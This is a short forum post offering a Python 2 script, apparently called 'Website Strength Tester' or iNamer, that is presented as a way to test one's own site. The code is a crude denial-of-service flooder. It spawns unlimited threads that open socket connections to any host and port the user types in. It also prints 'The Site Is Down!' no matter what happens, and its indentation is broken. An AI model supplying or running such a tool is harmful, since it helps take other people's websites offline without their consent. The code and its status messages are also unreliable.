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Slater RiverSlater River wrote on 07 Jun 2017 15:40
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I have created many websites knowing that I am unprotected until I got a script that could protect my site. I realized though that I needed to make sure that the script works so I created a script for testing purposes only. It can be used for other purposes but I am not like that.

All you need in order for the script to work is Python 2.7+. When you get that installed on your computer just simply open the script up and run it. It will give you further instructions on what to do.

If you would like to have a copy of the script than copy the code below. Note that this code is under a creative commons copyright.

Website Strength Tester
Written by Slater River
iNamer Version 0.2
from os import *
from socket import *
from string import *
from random import *
from time import *
from thread import *
print "\a"
print " "
print "Starting service. Please wait. . . ."
print " "
# insert website info
host = raw_input("IP Address Or Website URL:  ") # insert desired ip address or url
print " "
port = int(input("Insert Port Number: ")) # insert desired port number ex. port 8080
print " "
# connection to open sockets
def connect(i):
        sock1 = socket(AF_INET, SOCK_STREAM)
        sock1.connect((host, port))
        print "The Site Is Down!"
n = 9999999999999
while 1:
        start_new_thread(connect, (n,))
        print "Your Connection Is Weak. Try Restarting The Script."
    print "Thank You For Using iNamer! Have a Wonderful Day!"

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